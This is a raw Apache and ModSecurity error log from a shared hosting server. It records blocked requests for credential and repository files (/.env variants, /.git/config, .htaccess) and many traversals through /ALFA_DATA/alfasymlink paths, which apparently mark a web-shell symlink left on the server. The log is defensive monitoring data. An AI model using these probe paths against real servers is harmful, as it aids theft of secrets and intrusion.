[Sun Oct 25 23:02:41.142609 2026] [security2:error] [pid 2930612:tid 2930612] [client 85.208.96.202:51908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/10-hinting-medium.conf"] [unique_id "at7C0ZHtMtN5e4U4U0bi_gAAAAI"]
[Sun Oct 25 23:02:42.153514 2026] [core:error] [pid 2949510:tid 2949510] (13)Permission denied: [client 54.88.84.219:1091] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/ehci-pci/uevent
[Sun Oct 25 23:02:46.166040 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.225.243.131:61023] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:02:50.154082 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 3.229.164.203:12865] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:03:06.212848 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 54.159.98.248:39522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:03:13.170835 2026] [security2:error] [pid 2949512:tid 2949512] [client 45.148.10.16:56208] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7C8XAXEJBuLKw6Lpk5ZQAAAAw"]
[Sun Oct 25 23:03:13.171146 2026] [security2:error] [pid 2949512:tid 2949512] [client 45.148.10.16:56208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7C8XAXEJBuLKw6Lpk5ZQAAAAw"]
[Sun Oct 25 23:03:13.171454 2026] [security2:error] [pid 2949512:tid 2949512] [client 45.148.10.16:56208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7C8XAXEJBuLKw6Lpk5ZQAAAAw"]
[Sun Oct 25 23:03:13.455962 2026] [security2:error] [pid 2949173:tid 2949173] [client 45.148.10.16:56212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7C8XCRtCy6MI-JocZCQgAAAAc"]
[Sun Oct 25 23:03:13.456261 2026] [security2:error] [pid 2949173:tid 2949173] [client 45.148.10.16:56212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7C8XCRtCy6MI-JocZCQgAAAAc"]
[Sun Oct 25 23:03:13.456590 2026] [security2:error] [pid 2949173:tid 2949173] [client 45.148.10.16:56212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at7C8XCRtCy6MI-JocZCQgAAAAc"]
[Sun Oct 25 23:03:13.789007 2026] [security2:error] [pid 2930612:tid 2930612] [client 45.148.10.16:56220] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7C8ZHtMtN5e4U4U0bjAAAAAAI"]
[Sun Oct 25 23:03:13.789217 2026] [security2:error] [pid 2930612:tid 2930612] [client 45.148.10.16:56220] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7C8ZHtMtN5e4U4U0bjAAAAAAI"]
[Sun Oct 25 23:03:13.789527 2026] [security2:error] [pid 2930612:tid 2930612] [client 45.148.10.16:56220] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7C8ZHtMtN5e4U4U0bjAAAAAAI"]
[Sun Oct 25 23:03:14.122707 2026] [ssl:error] [pid 2949515:tid 2949515] (5)Input/output error: [client 3.213.106.226:44561] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:03:14.785187 2026] [security2:error] [pid 2949512:tid 2949512] [client 45.148.10.16:56240] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7C8nAXEJBuLKw6Lpk5ZgAAAAw"]
[Sun Oct 25 23:03:14.785486 2026] [security2:error] [pid 2949512:tid 2949512] [client 45.148.10.16:56240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7C8nAXEJBuLKw6Lpk5ZgAAAAw"]
[Sun Oct 25 23:03:14.785731 2026] [security2:error] [pid 2949512:tid 2949512] [client 45.148.10.16:56240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7C8nAXEJBuLKw6Lpk5ZgAAAAw"]
[Sun Oct 25 23:03:22.140494 2026] [ssl:error] [pid 2948949:tid 2948949] (70014)End of file found: [client 34.231.45.47:21204] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:03:38.147347 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 54.80.73.122:63106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:03:42.242826 2026] [ssl:error] [pid 2948949:tid 2948949] (70014)End of file found: [client 98.82.40.168:59600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:03:46.144257 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 34.205.163.103:36164] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:03:58.117452 2026] [core:error] [pid 2948949:tid 2948949] (13)Permission denied: [client 34.231.156.59:51513] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/pci-stub/remove_id
[Sun Oct 25 23:04:18.172206 2026] [ssl:error] [pid 2949515:tid 2949515] (22)Invalid argument: [client 100.29.128.75:55708] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:04:26.143055 2026] [ssl:error] [pid 2950487:tid 2950487] (70014)End of file found: [client 44.194.139.149:49371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:04:30.138551 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 44.209.89.189:55226] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:04:34.123661 2026] [core:error] [pid 2949646:tid 2949646] (13)Permission denied: [client 52.3.26.180:25614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/Cavium PTP Driver/new_id
[Sun Oct 25 23:04:42.223817 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 34.203.111.15:50507] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:04:46.123468 2026] [ssl:error] [pid 2950487:tid 2950487] (70014)End of file found: [client 23.23.99.55:11350] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:04:49.153574 2026] [core:crit] [pid 2948949:tid 2948949] (13)Permission denied: [client 198.235.24.236:65432] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 23:04:49.305442 2026] [core:crit] [pid 2949646:tid 2949646] (13)Permission denied: [client 198.235.24.236:65444] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 23:04:50.118988 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 34.206.193.60:35605] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:04:54.133488 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 44.213.202.136:30167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:04:58.148750 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 100.29.34.97:26563] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:05:02.176593 2026] [ssl:error] [pid 2948949:tid 2948949] (70014)End of file found: [client 98.83.10.183:61887] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:05:06.452635 2026] [ssl:error] [pid 2949646:tid 2949646] (70014)End of file found: [client 54.159.18.27:29369] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:05:22.150914 2026] [ssl:error] [pid 2950561:tid 2950561] (5)Input/output error: [client 23.21.225.190:32823] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:05:22.878992 2026] [core:error] [pid 2949646:tid 2949646] (13)Permission denied: [client 85.208.96.194:44528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-128/shrink
[Sun Oct 25 23:05:26.140097 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 54.147.182.90:1434] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:05:46.154276 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 52.23.112.144:48859] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:05:58.244900 2026] [core:error] [pid 2949646:tid 2949646] (13)Permission denied: [client 185.191.171.8:62374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/poison
[Sun Oct 25 23:06:05.310336 2026] [core:error] [pid 2949510:tid 2949510] (13)Permission denied: [client 85.208.96.202:45944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/order
[Sun Oct 25 23:06:05.446531 2026] [security2:error] [pid 2949651:tid 2949651] [client 107.172.76.131:50532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7Dj62Hvm-I1Dg70Ad4NgAAABU"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 23:06:05.446582 2026] [security2:error] [pid 2949651:tid 2949651] [client 107.172.76.131:50532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7Dj62Hvm-I1Dg70Ad4NgAAABU"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 23:06:23.261879 2026] [core:error] [pid 2949173:tid 2949173] (13)Permission denied: [client 185.191.171.13:56150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/free_calls
[Sun Oct 25 23:06:26.191092 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 54.159.18.27:61311] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:06:33.690122 2026] [core:error] [pid 2948949:tid 2948949] (13)Permission denied: [client 85.208.96.199:64566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/object_size
[Sun Oct 25 23:06:35.206323 2026] [security2:error] [pid 2948938:tid 2948938] [client 193.70.46.175:37824] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /alfa_data/alfasymlink/root/var/softaculous/magento24/pubstatic_.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento24/pubstatic_.htaccess"] [unique_id "at7Du1N_bUq_OQDpNPOm1gAAAAo"]
[Sun Oct 25 23:06:35.206652 2026] [security2:error] [pid 2948938:tid 2948938] [client 193.70.46.175:37824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento24/pubstatic_.htaccess"] [unique_id "at7Du1N_bUq_OQDpNPOm1gAAAAo"]
[Sun Oct 25 23:06:35.207588 2026] [security2:error] [pid 2948938:tid 2948938] [client 193.70.46.175:37824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7Du1N_bUq_OQDpNPOm1gAAAAo"]
[Sun Oct 25 23:06:38.128586 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 100.24.167.60:61010] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:06:42.097349 2026] [core:error] [pid 2950825:tid 2950825] (13)Permission denied: [client 85.208.96.193:23366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-128/objects
[Sun Oct 25 23:06:46.122019 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 3.90.73.206:24308] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:07:06.133601 2026] [ssl:error] [pid 2950487:tid 2950487] (70014)End of file found: [client 100.28.49.152:55079] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:07:06.781830 2026] [security2:error] [pid 2948938:tid 2948938] [client 193.70.46.175:37824] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /alfa_data/alfasymlink/root/var/softaculous/magento246/pubstatic_.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento246/pubstatic_.htaccess"] [unique_id "at7D2lN_bUq_OQDpNPOm6wAAAAo"]
[Sun Oct 25 23:07:06.782061 2026] [security2:error] [pid 2948938:tid 2948938] [client 193.70.46.175:37824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento246/pubstatic_.htaccess"] [unique_id "at7D2lN_bUq_OQDpNPOm6wAAAAo"]
[Sun Oct 25 23:07:06.782928 2026] [security2:error] [pid 2948938:tid 2948938] [client 193.70.46.175:37824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7D2lN_bUq_OQDpNPOm6wAAAAo"]
[Sun Oct 25 23:07:10.255888 2026] [core:error] [pid 2949645:tid 2949645] (13)Permission denied: [client 44.210.213.220:39521] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:01/subsystem/uevent
[Sun Oct 25 23:07:22.126203 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 52.201.155.215:11320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:07:26.138121 2026] [ssl:error] [pid 2950487:tid 2950487] (70014)End of file found: [client 3.215.59.93:53959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:07:34.143230 2026] [ssl:error] [pid 2949646:tid 2949646] (70014)End of file found: [client 34.227.156.153:32214] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:07:38.120034 2026] [security2:error] [pid 2948938:tid 2948938] [client 193.70.46.175:37824] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /alfa_data/alfasymlink/root/var/softaculous/magento247/pubstatic_.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento247/pubstatic_.htaccess"] [unique_id "at7D-lN_bUq_OQDpNPOnAAAAAAo"]
[Sun Oct 25 23:07:38.120406 2026] [security2:error] [pid 2948938:tid 2948938] [client 193.70.46.175:37824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento247/pubstatic_.htaccess"] [unique_id "at7D-lN_bUq_OQDpNPOnAAAAAAo"]
[Sun Oct 25 23:07:38.121310 2026] [security2:error] [pid 2948938:tid 2948938] [client 193.70.46.175:37824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7D-lN_bUq_OQDpNPOnAAAAAAo"]
[Sun Oct 25 23:07:38.186602 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 44.215.231.15:52935] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource2
[Sun Oct 25 23:07:46.122921 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 3.224.215.150:7753] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:07:50.137290 2026] [core:error] [pid 2948949:tid 2948949] (13)Permission denied: [client 52.203.237.170:34032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/cpu1/crash_notes
[Sun Oct 25 23:08:12.979642 2026] [security2:error] [pid 2943087:tid 2943087] [client 107.172.76.131:50525] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7EEASn5HKIYfqg0eAkKwAAADc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:08:12.979701 2026] [security2:error] [pid 2943087:tid 2943087] [client 107.172.76.131:50525] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7EEASn5HKIYfqg0eAkKwAAADc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:08:14.135139 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 23.20.178.124:10579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:08:17.645021 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 185.191.171.6:29608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/object_size
[Sun Oct 25 23:08:18.356646 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 34.231.118.144:44516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:08:26.129413 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 54.84.169.196:48619] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:08:30.176819 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 44.213.36.21:44394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/devices/0000:00:00.0/remove
[Sun Oct 25 23:08:38.132970 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.94.156.104:26670] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:08:46.142585 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 98.83.177.42:54523] AH02013: coalesce failed to read from data bucket
